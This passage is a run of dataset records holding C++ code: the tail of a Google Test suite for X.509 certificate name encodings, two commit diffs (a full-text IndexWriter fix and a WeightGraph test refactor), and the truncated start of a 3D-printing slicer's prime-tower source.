entry_fields.insert(std::make_pair<int, const char*>(NID_commonName, LN_commonName));\n        entry_fields.insert(std::make_pair<int, const char*>(NID_userId, LN_userId));\n        std::stringstream stream;\n        stream << \t\"some pem encoded\";\n        req_pem_encoded = stream.str();\n        req = CertificateRequest(req_pem_encoded);\n\/\/\t\tcbuilder = new CertificateBuilder(req);\n    }\n\n    \/*!\n     * @brief Adiciona uma entrada de um X509_NAME com a codificaÃ§Ã£o desejada.\n     *\n     * @param name Ponteiro para o X509_NAME.\n     * @param entry Entrada a ser adicionada.\n     * @param encoding CodificaÃ§Ã£o desejada.\n     *\/\n    void addNameEntry(X509_NAME* name, const char* entry, int encoding, int NID) {\n        X509_NAME_ENTRY *new_entry = X509_NAME_ENTRY_new();\n        if (NID == NID_countryName) {\n            X509_NAME_ENTRY_create_by_NID(&new_entry, NID, V_ASN1_PRINTABLESTRING, (unsigned char*)entry, strlen(entry));\n            X509_NAME_add_entry(name, new_entry, -1, 0);\n        }\n        else {\n            X509_NAME_ENTRY_create_by_NID(&new_entry, NID, encoding, (unsigned char*)entry, strlen(entry));\n            X509_NAME_add_entry(name, new_entry, -1, 0);\n        }\n        X509_NAME_ENTRY_free(new_entry);\n    }\n\n    \/*!\n     * @brief Adiciona as entradas DN de um X509_NAME com a codificaÃ§Ã£o desejada.\n     *\n     * @param name Ponteiro para o X509_NAME.\n     * @param encoding CodificaÃ§Ã£o desejada.\n     *\/\n    void fillEntries(X509_NAME* name, int encoding) {\n        for(std::map<int, const char*>::iterator entries = entry_fields.begin(); entries != entry_fields.end(); entries++){\n            addNameEntry(name, entries->second, encoding, entries->first);\n            rdn.addEntry(id2Type(entries->first), entries->second);\n        }\n    }\n\n    \/*!\n     * @brief Aplica um caso de teste com todas as entradas preenchidas com a codificaÃ§Ã£o desejada.\n     *\n     * @param encoding CodificaÃ§Ã£o desejada.\n     *\n     * @return true se o caso de teste estiver correto, falso caso contrÃ¡rio.\n     *\/\n    void populateCertificateBuilderX509(int entriesCodification) {\n        \/\/ create requisition and populate certificateBuilder:\n        fillEntries(before, entriesCodification);\n        X509_set_subject_name(cbuilder->getX509(), X509_NAME_dup(before));\n    }\n\n    void populateCertificateBuilderPem(int entriesCodification) {\n        \/\/ create requisition and populate certificateBuilder:\n        cbuilder = new CertificateBuilder(req);\n        fillEntries(before, entriesCodification);\n    }\n\n    \/*!\n     * @brief Aplica um caso de teste com uma entrada preenchida com a codificaÃ§Ã£o desejada e as restantes com a\n     *        codificaÃ§Ã£o padrÃ£o da versÃ£o OpenSSL.\n     *\n     * @param entry Entrada\n     * @param encoding CodificaÃ§Ã£o desejada.\n     *\n     * @return true se o caso de teste estiver correto, falso caso contrÃ¡rio.\n     *\/\n    void applyOne(const char* entry, int encoding) {\n        \/\/ create certificate:\n        addNameEntry(before, entry, encoding, NID_commonName);    \/\/ insere a entrada se nÃ£o for common name\n        X509_set_subject_name(cbuilder->getX509(), X509_NAME_dup(before));\n\n        \/\/ fill entries and apply alterSubject:\n        fillEntries(before, MBSTRING_ASC);\n        RDNSequence rrr(X509_NAME_dup(before));\n        cbuilder->alterSubject(rrr);\n        after = X509_NAME_dup(X509_get_subject_name(cbuilder->getX509()));\n    }\n\n    void alterRDNSequences() {\n        \/\/ apply alterSubject:\n        cbuilder->alterSubject(rdn);\n        after = X509_NAME_dup(X509_get_subject_name(cbuilder->getX509()));\n    }\n\n    \/*!\n     * @brief Testa se a codificaÃ§Ã£o das entradas estÃ£o de acordo com o esperado.\n     *\n     * Testa se a codificaÃ§Ã£o das entradas no certificado gerado estÃ£o de acordo com a primeira entrada commonName que Ã©\n     * obrigatÃ³ria na geraÃ§Ã£o da requisiÃ§Ã£o.\n     *\/\n    bool testStringCodificaton(int expectedCodification) {\n        for (int i = 0; i < X509_NAME_entry_count(after); i++) {\n            X509_NAME_ENTRY* entry = X509_NAME_get_entry(after, i);\n            if (entry->object->nid != NID_countryName) {\n                if(entry->value->type != expectedCodification) {\n                    return false;\n                }\n            }\n        }\n        return true;\n    }\n\n    bool testStringValues() {\n        return true;\n    }\n\n    int getReqStringCodification() {\n        return 0;\n    }\n\n    int getCertStringCodification() {\n        return 0;\n    }\n\n    RDNSequence::EntryType id2Type(int id) {\n        RDNSequence::EntryType ret;\n        switch (id) {\n            case NID_countryName: ret = RDNSequence::COUNTRY; break;\n            case NID_organizationName: ret = RDNSequence::ORGANIZATION; break;\n            case NID_organizationalUnitName: ret = RDNSequence::ORGANIZATION_UNIT; break;\n            case NID_dnQualifier: ret = RDNSequence::DN_QUALIFIER; break;\n            case NID_stateOrProvinceName: ret = RDNSequence::STATE_OR_PROVINCE; break;\n            case NID_commonName: ret = RDNSequence::COMMON_NAME; break;\n            case NID_serialNumber: ret = RDNSequence::SERIAL_NUMBER; break;\n            case NID_localityName: ret = RDNSequence::LOCALITY; break;\n            case NID_title: ret = RDNSequence::TITLE; break;\n            case NID_surname: ret = RDNSequence::SURNAME; break;\n            case NID_givenName: ret = RDNSequence::GIVEN_NAME; break;\n            case NID_initials: ret = RDNSequence::INITIALS; break;\n            case NID_pseudonym: ret = RDNSequence::PSEUDONYM; break;\n            case NID_generationQualifier: ret = RDNSequence::GENERATION_QUALIFIER; break;\n            case NID_pkcs9_emailAddress: ret = RDNSequence::EMAIL; break;\n            case NID_domainComponent: ret = RDNSequence::DOMAIN_COMPONENT; break;\n            default: ret = RDNSequence::UNKNOWN;\n        }\n        return ret;\n    }\n\n    CertificateBuilder* cbuilder;  \/\/!< CertificateBuilder usado para aplicar a funÃ§Ã£o testada.\n    std::string req_pem_encoded;\n    CertificateRequest req;\n    RDNSequence rdn;\n    X509_NAME* before;  \/\/!< Ponteiro para o X509_NAME antes de aplicar a funÃ§Ã£o testada.\n    X509_NAME* after;  \/\/!< Ponteiro para o X509_NAME depois de aplicar a funÃ§Ã£o testada.\n\n\n    std::map<int, const char*> entry_fields;\n};\n\n\/**\n * AtravÃ©s de uma requisiÃ§Ã£o previamente gerada, testa se o certificado mantem a formataÃ§Ã£o antes de ser emitido.\n *\n **\/\n TEST_F(EncodingTest, ReqPEM_keep_codification) {\n\t populateCertificateBuilderPem(V_ASN1_UTF8STRING);\n\n     ASSERT_TRUE(testStringCodificaton(V_ASN1_UTF8STRING));\n }\n\n\/**\n * Tests se a codificaÃ§Ã£o do re\n *\/\n\n TEST_F(EncodingTest, ReqPEM_alter_all_fields) {\n\t populateCertificateBuilderPem(V_ASN1_UTF8STRING);\n\t alterRDNSequences();\n\n     ASSERT_TRUE(testStringCodificaton(V_ASN1_PRINTABLESTRING));\n }\n\n\n\n\n\/*!\n * @brief Teste usando todas as entradas preenchidas com codificaÃ§Ã£o V_ASN1_PRINTABLESTRING.\n *\n * Simula a situaÃ§Ã£o onde os campos sÃ£o preenchidos na geraÃ§Ã£o da requisiÃ§Ã£o, devendo manter sua codificaÃ§Ã£o no\n * certificado gerado.\n *\/\n\/\/TEST_F(EncodingTest, PrintableFilled) {\n\/\/    ASSERT_TRUE(createCertificate(V_ASN1_PRINTABLESTRING));\n\/\/}\n\/\/\n\/\/\/*!\n\/\/ * @brief Teste usando as entradas commonName e countryName preenchidas com codificaÃ§Ã£o V_ASN1_PRINTABLESTRING e as\n\/\/ *        restantes com codificaÃ§Ã£o MBSTRING_ASC.\n\/\/ *\n\/\/ * Simula a situaÃ§Ã£o onde os campos Common Name e Country Name sÃ£o preenchidos na geraÃ§Ã£o da requisiÃ§Ã£o e os restantes\n\/\/ * sÃ£o adicionados na geraÃ§Ã£o do certificado, devendo usar a codificaÃ§Ã£o dos campos jÃ¡ exsitentes na requisiÃ§Ã£o.\n\/\/ *\/\n\/\/TEST_F(EncodingTest, PrintablecountryName) {\n\/\/    ASSERT_TRUE(applyOne(LN_countryName, V_ASN1_PRINTABLESTRING));\n\/\/}\n\/\/\n\/\/\/*!\n\/\/ * @brief Teste usando as entradas commonName e stateOrProvinceName preenchidas com codificaÃ§Ã£o V_ASN1_PRINTABLESTRING e\n\/\/ *        as restantes com codificaÃ§Ã£o MBSTRING_ASC.\n\/\/ *\n\/\/ * Simula a situaÃ§Ã£o onde os campos Common Name e State or Province Name sÃ£o preenchidos na geraÃ§Ã£o da requisiÃ§Ã£o e os\n\/\/ * restantes sÃ£o adicionados na geraÃ§Ã£o do certificado, devendo usar a codificaÃ§Ã£o dos campos jÃ¡ exsitentes na\n\/\/ * requisiÃ§Ã£o.\n\/\/ *\/\n\/\/TEST_F(EncodingTest, PrintableState) {\n\/\/    ASSERT_TRUE(applyOne(LN_stateOrProvinceName, V_ASN1_PRINTABLESTRING));\n\/\/}\n\/\/\n\/\/\/*!\n\/\/ * @brief Teste usando as entradas commonName e localityName preenchidas com codificaÃ§Ã£o V_ASN1_PRINTABLESTRING e as\n\/\/ *        restantes com codificaÃ§Ã£o MBSTRING_ASC.\n\/\/ *\n\/\/ * Simula a situaÃ§Ã£o onde os campos Common Name e Locality Name sÃ£o preenchidos na geraÃ§Ã£o da requisiÃ§Ã£o e os restantes\n\/\/ * sÃ£o adicionados na geraÃ§Ã£o do certificado, devendo usar a codificaÃ§Ã£o dos campos jÃ¡ exsitentes na requisiÃ§Ã£o.\n\/\/ *\/\n\/\/TEST_F(EncodingTest, PrintableLocality) {\n\/\/    ASSERT_TRUE(applyOne(LN_localityName, V_ASN1_PRINTABLESTRING));\n\/\/}\n\/\/\n\/\/\/*!\n\/\/ * @brief Teste usando as entradas commonName e organizationName preenchidas com codificaÃ§Ã£o V_ASN1_PRINTABLESTRING e as\n\/\/ *        restantes com codificaÃ§Ã£o MBSTRING_ASC.\n\/\/ *\n\/\/ * Simula a situaÃ§Ã£o onde os campos Common Name e Organization Name sÃ£o preenchidos na geraÃ§Ã£o da requisiÃ§Ã£o e os\n\/\/ * restantes sÃ£o adicionados na geraÃ§Ã£o do certificado, devendo usar a codificaÃ§Ã£o dos campos jÃ¡ exsitentes na\n\/\/ * requisiÃ§Ã£o.\n\/\/ *\/\n\/\/TEST_F(EncodingTest, PrintableOrganization) {\n\/\/    ASSERT_TRUE(applyOne(LN_organizationName, V_ASN1_PRINTABLESTRING));\n\/\/}\n\/\/\n\/\/\/*!\n\/\/ * @brief Teste usando as entradas commonName e organizationalUnitName preenchidas com codificaÃ§Ã£o\n\/\/ *        V_ASN1_PRINTABLESTRING e as restantes com codificaÃ§Ã£o MBSTRING_ASC.\n\/\/ *\n\/\/ * Simula a situaÃ§Ã£o onde os campos Common Name e Organizational Unit Name sÃ£o preenchidos na geraÃ§Ã£o da requisiÃ§Ã£o e os\n\/\/ * restantes sÃ£o adicionados na geraÃ§Ã£o do certificado, devendo usar a codificaÃ§Ã£o dos campos jÃ¡ exsitentes na\n\/\/ * requisiÃ§Ã£o.\n\/\/ *\/\n\/\/TEST_F(EncodingTest, PrintableOrganizationalUnit) {\n\/\/    ASSERT_TRUE(applyOne(LN_organizationalUnitName, V_ASN1_PRINTABLESTRING));\n\/\/}\n\/\/\n\/\/\/*!\n\/\/ * @brief Teste usando a entrada commonName preenchida com codificaÃ§Ã£o V_ASN1_PRINTABLESTRING e asrestantes com\n\/\/ *        codificaÃ§Ã£o MBSTRING_ASC.\n\/\/ *\n\/\/ * Simula a situaÃ§Ã£o onde apenas o campo Common Name Ã© preenchido na geraÃ§Ã£o da requisiÃ§Ã£o e os restantes sÃ£o\n\/\/ * adicionados na geraÃ§Ã£o do certificado, devendo usar a codificaÃ§Ã£o dos campos jÃ¡ exsitentes na requisiÃ§Ã£o.\n\/\/ *\/\n\/\/TEST_F(EncodingTest, PrintableCommonName) {\n\/\/    ASSERT_TRUE(applyOne(LN_commonName, V_ASN1_PRINTABLESTRING));\n\/\/}\n\/\/\n\/\/\/*!\n\/\/ * @brief Teste usando as entradas commonName e userId preenchidas com codificaÃ§Ã£o V_ASN1_PRINTABLESTRING e as\n\/\/ *        restantes com codificaÃ§Ã£o MBSTRING_ASC.\n\/\/ *\n\/\/ * Simula a situaÃ§Ã£o onde os campos Common Name e User ID sÃ£o preenchidos na geraÃ§Ã£o da requisiÃ§Ã£o e os restantes sÃ£o\n\/\/ * adicionados na geraÃ§Ã£o do certificado, devendo usar a codificaÃ§Ã£o dos campos jÃ¡ exsitentes na requisiÃ§Ã£o.\n\/\/ *\/\n\/\/TEST_F(EncodingTest, PrintableUserID) {\n\/\/    ASSERT_TRUE(applyOne(LN_userId, V_ASN1_PRINTABLESTRING));\n\/\/}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * Copyright (c) 2015 - The CM Authors <legal@clickmatcher.com>\n *   All Rights Reserved.\n *\n * This file is CONFIDENTIAL -- Distribution or duplication of this material or\n * the information contained herein is strictly forbidden unless prior written\n * permission is obtained.\n *\/\n#include \"IndexWriter.h\"\n#include <fnord-fts\/AnalyzerAdapter.h>\n\nusing namespace fnord;\n\nnamespace cm {\n\nRefPtr<IndexWriter> IndexWriter::openIndex(const String& index_path) {\n  if (!FileUtil::exists(index_path) || !FileUtil::isDirectory(index_path)) {\n    RAISEF(kIllegalArgumentError, \"invalid index path: $0\", index_path);\n  }\n\n  \/* set up feature schema *\/\n  FeatureSchema feature_schema;\n  feature_schema.registerFeature(\"shop_id\", 1, 1);\n  feature_schema.registerFeature(\"category1\", 2, 1);\n  feature_schema.registerFeature(\"category2\", 3, 1);\n  feature_schema.registerFeature(\"category3\", 4, 1);\n  feature_schema.registerFeature(\"title~de\", 5, 2);\n\n  \/* open mdb *\/\n  auto db_path = FileUtil::joinPaths(index_path, \"db\");\n  FileUtil::mkdir_p(db_path);\n  auto db = mdb::MDB::open(db_path);\n  db->setMaxSize(1000000 * 512000);\n\n  \/* open docs store *\/\n  auto docs_path = FileUtil::joinPaths(index_path, \"docs\");\n  FileUtil::mkdir_p(docs_path);\n  RefPtr<DocStore> docs(new DocStore(docs_path));\n\n  \/* open lucene *\/\n  RefPtr<fnord::fts::Analyzer> analyzer(new fnord::fts::Analyzer(\".\/conf\"));\n  auto adapter = std::make_shared<fnord::fts::AnalyzerAdapter>(analyzer);\n\n  auto fts_path = FileUtil::joinPaths(index_path, \"fts\");\n  auto fts =\n      fts::newLucene<fts::IndexWriter>(\n          fts::FSDirectory::open(StringUtil::convertUTF8To16(fts_path)),\n          adapter,\n          true,\n          fts::IndexWriter::MaxFieldLengthLIMITED);\n\n  return RefPtr<IndexWriter>(new IndexWriter(feature_schema, db, docs, fts));\n}\n\nIndexWriter::IndexWriter(\n    FeatureSchema schema,\n    RefPtr<mdb::MDB> db,\n    RefPtr<DocStore> docs,\n    std::shared_ptr<fts::IndexWriter> fts) :\n    schema_(schema),\n    db_(db),\n    feature_idx_(new FeatureIndexWriter(&schema_)),\n    docs_(docs),\n    fts_(fts) {}\n\n\nIndexWriter::~IndexWriter() {\n  fts_->close();\n}\n\nvoid IndexWriter::updateDocument(const IndexRequest& index_request) {\n  stat_documents_indexed_total_.incr(1);\n  auto doc = docs_->updateDocument(index_request);\n  rebuildFTS(doc);\n  stat_documents_indexed_success_.incr(1);\n}\n\nvoid IndexWriter::commit() {\n  fts_->commit();\n}\n\nvoid IndexWriter::rebuildFTS(DocID docid) {\n  auto doc = docs_->findDocument(docid);\n  rebuildFTS(doc);\n}\n\nvoid IndexWriter::rebuildFTS(RefPtr<Document> doc) {\n  auto fts_doc = fts::newLucene<fts::Document>();\n\n  fnord::logDebug(\n      \"cm.indexwriter\",\n      \"Rebuilding FTS Index for docid=$0\",\n      doc->docID().docid);\n\n  HashMap<String, String> fts_fields_anal;\n  for (const auto& f : doc->fields()) {\n\n    \/* title~LANG *\/\n    if (StringUtil::beginsWith(f.first, \"title~\")) {\n      auto k = f.first;\n      StringUtil::replaceAll(&k, \"title~\",\"text~\");\n      fts_fields_anal[k] += \" \";\n      fts_fields_anal[k] += f.second;\n    }\n\n    \/* description~LANG *\/\n    if (StringUtil::beginsWith(f.first, \"description~\")) {\n      auto k = f.first;\n      StringUtil::replaceAll(&k, \"description~\",\"text~\");\n      fts_fields_anal[k] += \" \";\n      fts_fields_anal[k] += f.second;\n    }\n\n    \/* tags_as_text~LANG *\/\n    if (StringUtil::beginsWith(f.first, \"tags_as_text~\")) {\n      auto k = f.first;\n      StringUtil::replaceAll(&k, \"tags_as_text~\",\"text~\");\n      fts_fields_anal[k] += \" \";\n      fts_fields_anal[k] += f.second;\n    }\n\n  }\n\n  for (const auto& f : fts_fields_anal) {\n    fnord::iputs(\"field $0 = $1\", f.first, f.second);\n\n    fts_doc->add(\n        fts::newLucene<fts::Field>(\n            StringUtil::convertUTF8To16(f.first),\n            StringUtil::convertUTF8To16(f.second),\n            fts::Field::STORE_NO,\n            fts::Field::INDEX_ANALYZED));\n  }\n\n  fts_->addDocument(fts_doc);\n}\n\nvoid IndexWriter::rebuildFTS() {\n  fnord::iputs(\"rebuild fts...\", 1);\n\n  docs_->listDocuments([this] (const DocID& docid) -> bool {\n    fnord::iputs(\"rebuild fts for $0\", docid.docid);\n    return true;\n  });\n}\n\nRefPtr<mdb::MDB> IndexWriter::featureDB() {\n  return db_;\n}\n\nvoid IndexWriter::exportStats(const String& prefix) {\n  exportStat(\n      StringUtil::format(\"$0\/documents_indexed_total\", prefix),\n      &stat_documents_indexed_total_,\n      fnord::stats::ExportMode::EXPORT_DELTA);\n\n  exportStat(\n      StringUtil::format(\"$0\/documents_indexed_success\", prefix),\n      &stat_documents_indexed_success_,\n      fnord::stats::ExportMode::EXPORT_DELTA);\n\n  exportStat(\n      StringUtil::format(\"$0\/documents_indexed_error\", prefix),\n      &stat_documents_indexed_error_,\n      fnord::stats::ExportMode::EXPORT_DELTA);\n}\n\n\n} \/\/ namespace cm\n<commit_msg>--rebuild_fts all<commit_after>\/**\n * Copyright (c) 2015 - The CM Authors <legal@clickmatcher.com>\n *   All Rights Reserved.\n *\n * This file is CONFIDENTIAL -- Distribution or duplication of this material or\n * the information contained herein is strictly forbidden unless prior written\n * permission is obtained.\n *\/\n#include \"IndexWriter.h\"\n#include <fnord-fts\/AnalyzerAdapter.h>\n\nusing namespace fnord;\n\nnamespace cm {\n\nRefPtr<IndexWriter> IndexWriter::openIndex(const String& index_path) {\n  if (!FileUtil::exists(index_path) || !FileUtil::isDirectory(index_path)) {\n    RAISEF(kIllegalArgumentError, \"invalid index path: $0\", index_path);\n  }\n\n  \/* set up feature schema *\/\n  FeatureSchema feature_schema;\n  feature_schema.registerFeature(\"shop_id\", 1, 1);\n  feature_schema.registerFeature(\"category1\", 2, 1);\n  feature_schema.registerFeature(\"category2\", 3, 1);\n  feature_schema.registerFeature(\"category3\", 4, 1);\n  feature_schema.registerFeature(\"title~de\", 5, 2);\n\n  \/* open mdb *\/\n  auto db_path = FileUtil::joinPaths(index_path, \"db\");\n  FileUtil::mkdir_p(db_path);\n  auto db = mdb::MDB::open(db_path);\n  db->setMaxSize(1000000 * 512000);\n\n  \/* open docs store *\/\n  auto docs_path = FileUtil::joinPaths(index_path, \"docs\");\n  FileUtil::mkdir_p(docs_path);\n  RefPtr<DocStore> docs(new DocStore(docs_path));\n\n  \/* open lucene *\/\n  RefPtr<fnord::fts::Analyzer> analyzer(new fnord::fts::Analyzer(\".\/conf\"));\n  auto adapter = std::make_shared<fnord::fts::AnalyzerAdapter>(analyzer);\n\n  auto fts_path = FileUtil::joinPaths(index_path, \"fts\");\n  auto fts =\n      fts::newLucene<fts::IndexWriter>(\n          fts::FSDirectory::open(StringUtil::convertUTF8To16(fts_path)),\n          adapter,\n          true,\n          fts::IndexWriter::MaxFieldLengthLIMITED);\n\n  return RefPtr<IndexWriter>(new IndexWriter(feature_schema, db, docs, fts));\n}\n\nIndexWriter::IndexWriter(\n    FeatureSchema schema,\n    RefPtr<mdb::MDB> db,\n    RefPtr<DocStore> docs,\n    std::shared_ptr<fts::IndexWriter> fts) :\n    schema_(schema),\n    db_(db),\n    feature_idx_(new FeatureIndexWriter(&schema_)),\n    docs_(docs),\n    fts_(fts) {}\n\n\nIndexWriter::~IndexWriter() {\n  fts_->close();\n}\n\nvoid IndexWriter::updateDocument(const IndexRequest& index_request) {\n  stat_documents_indexed_total_.incr(1);\n  auto doc = docs_->updateDocument(index_request);\n  rebuildFTS(doc);\n  stat_documents_indexed_success_.incr(1);\n}\n\nvoid IndexWriter::commit() {\n  fts_->commit();\n}\n\nvoid IndexWriter::rebuildFTS(DocID docid) {\n  auto doc = docs_->findDocument(docid);\n  rebuildFTS(doc);\n}\n\nvoid IndexWriter::rebuildFTS(RefPtr<Document> doc) {\n  auto fts_doc = fts::newLucene<fts::Document>();\n\n  fnord::logDebug(\n      \"cm.indexwriter\",\n      \"Rebuilding FTS Index for docid=$0\",\n      doc->docID().docid);\n\n  HashMap<String, String> fts_fields_anal;\n  for (const auto& f : doc->fields()) {\n\n    \/* title~LANG *\/\n    if (StringUtil::beginsWith(f.first, \"title~\")) {\n      auto k = f.first;\n      StringUtil::replaceAll(&k, \"title~\",\"text~\");\n      fts_fields_anal[k] += \" \";\n      fts_fields_anal[k] += f.second;\n    }\n\n    \/* description~LANG *\/\n    if (StringUtil::beginsWith(f.first, \"description~\")) {\n      auto k = f.first;\n      StringUtil::replaceAll(&k, \"description~\",\"text~\");\n      fts_fields_anal[k] += \" \";\n      fts_fields_anal[k] += f.second;\n    }\n\n    \/* tags_as_text~LANG *\/\n    if (StringUtil::beginsWith(f.first, \"tags_as_text~\")) {\n      auto k = f.first;\n      StringUtil::replaceAll(&k, \"tags_as_text~\",\"text~\");\n      fts_fields_anal[k] += \" \";\n      fts_fields_anal[k] += f.second;\n    }\n\n  }\n\n  for (const auto& f : fts_fields_anal) {\n    fnord::iputs(\"field $0 = $1\", f.first, f.second);\n\n    fts_doc->add(\n        fts::newLucene<fts::Field>(\n            StringUtil::convertUTF8To16(f.first),\n            StringUtil::convertUTF8To16(f.second),\n            fts::Field::STORE_NO,\n            fts::Field::INDEX_ANALYZED));\n  }\n\n  fts_->addDocument(fts_doc);\n}\n\nvoid IndexWriter::rebuildFTS() {\n  docs_->listDocuments([this] (const DocID& docid) -> bool {\n    rebuildFTS(docid);\n    return true;\n  });\n}\n\nRefPtr<mdb::MDB> IndexWriter::featureDB() {\n  return db_;\n}\n\nvoid IndexWriter::exportStats(const String& prefix) {\n  exportStat(\n      StringUtil::format(\"$0\/documents_indexed_total\", prefix),\n      &stat_documents_indexed_total_,\n      fnord::stats::ExportMode::EXPORT_DELTA);\n\n  exportStat(\n      StringUtil::format(\"$0\/documents_indexed_success\", prefix),\n      &stat_documents_indexed_success_,\n      fnord::stats::ExportMode::EXPORT_DELTA);\n\n  exportStat(\n      StringUtil::format(\"$0\/documents_indexed_error\", prefix),\n      &stat_documents_indexed_error_,\n      fnord::stats::ExportMode::EXPORT_DELTA);\n}\n\n\n} \/\/ namespace cm\n<|endoftext|>"}
{"text":"<commit_before>#include <gtest\/gtest.h>\n\n#include \"WeightGraph.hpp\"\n#include \"Edge.hpp\"\n#include \"Bus.hpp\"\n#include <memory>\n\n\nclass TestWeightGraph: public testing::Test {\npublic:\n    TestWeightGraph()\n\t{\n\t\tmBusStop =  {{{5, 6}, \"First Stop\"},\n\t\t\t\t\t {{7, 8}, \"Second Stop\"},\n\t\t\t\t\t {{7, 9}, \"Third Stop\"},\n\t\t\t\t\t {{9, 10}, \"Fifth Stop\"}};\n        WeightGraph wG;\n        wG.append(Edge(Node(Coordinate(5,6)), Node(Coordinate(7,8))));\n        wG.append(Edge(Node(Coordinate(5,6)), Node(Coordinate(7,9))));\n        sut = std::make_unique<WeightGraph>(wG);\n\n\t}\n    std::unique_ptr<WeightGraph> sut;\n\tstd::vector<BusStop> mBusStop;\n    Edge edge1;\n    Edge edge2;\n};\nTEST_F(TestWeightGraph, appendEdges){\n    EXPECT_EQ(sut->size(), 2);\n    edge2.setNodes(Node(Coordinate(5,6)), Node(Coordinate(7,8)));\n    EXPECT_EQ(sut->at(0), edge2);\n}\nTEST_F(TestWeightGraph, isEdgeInGraph){\n    edge1.setNodes(Node(Coordinate(5,6)), Node(Coordinate(7,8)));\n    EXPECT_TRUE(sut->isEdgeInGraph(edge1));\n    EXPECT_FALSE(sut->isEdgeInGraph(edge2));\n}\n\nTEST_F(TestWeightGraph, searchNeighbours){\n    edge1.setNodes(Node(Coordinate(5,6)), Node(Coordinate(7,8)));\n    edge2.setNodes(Node(Coordinate(5,6)), Node(Coordinate(7,9)));\n    sut->append(edge1);\n    sut->append(edge2);\n    EXPECT_EQ(edge1, sut->searchNeighbours(Node(Coordinate(5,6))).at(0));\n    EXPECT_EQ(edge2,  sut->searchNeighbours(Node(Coordinate(5,6))).at(1));\n}\n\n\nTEST_F(TestWeightGraph, changeEdgeWeight){\n    sut->changeEdgeWeight(Node(Coordinate(5,6)), Node(Coordinate(7,8)), 5);\n    EXPECT_EQ(sut->at(0).getWeight(), Weight(0.2));\n}\n\nTEST_F(TestWeightGraph, searchEdge){\n    edge1.setNodes(Node(Coordinate(5,6)), Node(Coordinate(7,8)));\n    sut->append(edge1);\n    edge2.setNodes(Node(Coordinate(5,6)), Node(Coordinate(7,8)));\n   \/\/ EXPECT_EQ(sut->edge(edge2), sut->at(0));\n}\n\nTEST_F(TestWeightGraph, createGraph){\n\tsut->createGraph(mBusStop);\n    \/\/EXPECT_EQ()\n}\n<commit_msg>test_WeightGraph and edge method in WeighGraph class refactor<commit_after>#include <gtest\/gtest.h>\n\n#include \"WeightGraph.hpp\"\n#include \"Edge.hpp\"\n#include \"Bus.hpp\"\n#include <memory>\n\n\nclass TestWeightGraph: public testing::Test {\npublic:\n    TestWeightGraph()\n    {\n        mBusStop =  {{{5, 6}, \"First Stop\"},\n                     {{7, 8}, \"Second Stop\"},\n                     {{7, 9}, \"Third Stop\"},\n                     {{9, 10}, \"Fifth Stop\"}};\n        addEdges();\n    }\n\n\n    void addEdges(){\n        WeightGraph wG;\n        wG.append(Edge(Node(Coordinate(5,6)), Node(Coordinate(7,8))));\n        wG.append(Edge(Node(Coordinate(5,6)), Node(Coordinate(7,9))));\n        sut = std::make_unique<WeightGraph>(wG);\n    }\n\n    std::unique_ptr<WeightGraph> sut;\n\tstd::vector<BusStop> mBusStop;\n    Edge edge1;\n    Edge edge2;\n};\nTEST_F(TestWeightGraph, appendEdges){\n    EXPECT_EQ(sut->size(), 2);\n    edge2.setNodes(Node(Coordinate(5,6)), Node(Coordinate(7,8)));\n    EXPECT_EQ(sut->at(0), edge2);\n}\nTEST_F(TestWeightGraph, isEdgeInGraph){\n    edge1.setNodes(Node(Coordinate(5,6)), Node(Coordinate(7,8)));\n    EXPECT_TRUE(sut->isEdgeInGraph(edge1));\n    EXPECT_FALSE(sut->isEdgeInGraph(edge2));\n}\n\nTEST_F(TestWeightGraph, searchNeighbours){\n    edge1.setNodes(Node(Coordinate(5,6)), Node(Coordinate(7,8)));\n    edge2.setNodes(Node(Coordinate(5,6)), Node(Coordinate(7,9)));\n    EXPECT_EQ(edge1, sut->searchNeighbours(Node(Coordinate(5,6))).at(0));\n    EXPECT_EQ(edge2,  sut->searchNeighbours(Node(Coordinate(5,6))).at(1));\n}\n\n\nTEST_F(TestWeightGraph, changeEdgeWeight){\n    sut->changeEdgeWeight(Node(Coordinate(5,6)), Node(Coordinate(7,8)), 5);\n    EXPECT_EQ(sut->at(0).getWeight(), Weight(0.2));\n}\n\nTEST_F(TestWeightGraph, searchEdge){\n    EXPECT_EQ(sut->edge(Node(Coordinate(5,6)), Node(Coordinate(7,8))), sut->at(0));\n}\n\nTEST_F(TestWeightGraph, createGraph){\n\tsut->createGraph(mBusStop);\n    \/\/EXPECT_EQ()\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/Copyright (c) 2018 Ultimaker B.V.\n\/\/CuraEngine is released under the terms of the AGPLv3 or higher.\n\n#include \"PrimeTower.h\"\n\n#include <algorithm>\n#include <limits>\n\n#include \"ExtruderTrain.h\"\n#include \"sliceDataStorage.h\"\n#include \"gcodeExport.h\"\n#include \"LayerPlan.h\"\n#include \"infill.h\"\n#include \"PrintFeature.h\"\n#include \"raft.h\"\n\n#define CIRCLE_RESOLUTION 32 \/\/The number of vertices in each circle.\n\nnamespace cura \n{\n\nPrimeTower::PrimeTower(const SliceDataStorage& storage)\n: wipe_from_middle(false)\n{\n    enabled = storage.getSettingBoolean(\"prime_tower_enable\")\n           && storage.getSettingInMicrons(\"prime_tower_min_volume\") > 10\n           && storage.getSettingInMicrons(\"prime_tower_size\") > 10;\n\n    extruder_count = storage.meshgroup->getExtruderCount();\n    extruder_order.resize(extruder_count);\n    for (unsigned int extruder_nr = 0; extruder_nr < extruder_count; extruder_nr++)\n    {\n        extruder_order[extruder_nr] = extruder_nr; \/\/Start with default order, then sort.\n    }\n    \/\/Sort from high adhesion to low adhesion.\n    const SliceDataStorage* storage_ptr = &storage; \/\/Communicate to lambda via pointer to prevent copy.\n    std::sort(extruder_order.begin(), extruder_order.end(), [storage_ptr](const unsigned int& extruder_nr_a, const unsigned int& extruder_nr_b) -> bool\n    {\n        const double adhesion_a = storage_ptr->meshgroup->getExtruderTrain(extruder_nr_a)->getSettingAsRatio(\"material_adhesion_tendency\");\n        const double adhesion_b = storage_ptr->meshgroup->getExtruderTrain(extruder_nr_b)->getSettingAsRatio(\"material_adhesion_tendency\");\n        return adhesion_a < adhesion_b;\n    });\n}\n\nvoid PrimeTower::generateGroundpoly(const SliceDataStorage& storage)\n{\n    if (!enabled)\n    {\n        return;\n    }\n\n    coord_t tower_size = storage.getSettingInMicrons(\"prime_tower_size\");\n    bool circular_prime_tower = storage.getSettingBoolean(\"prime_tower_circular\");\n\n    PolygonRef p = outer_poly.newPoly();\n    int tower_distance = 0; \n    int x = storage.getSettingInMicrons(\"prime_tower_position_x\"); \/\/ storage.model_max.x\n    int y = 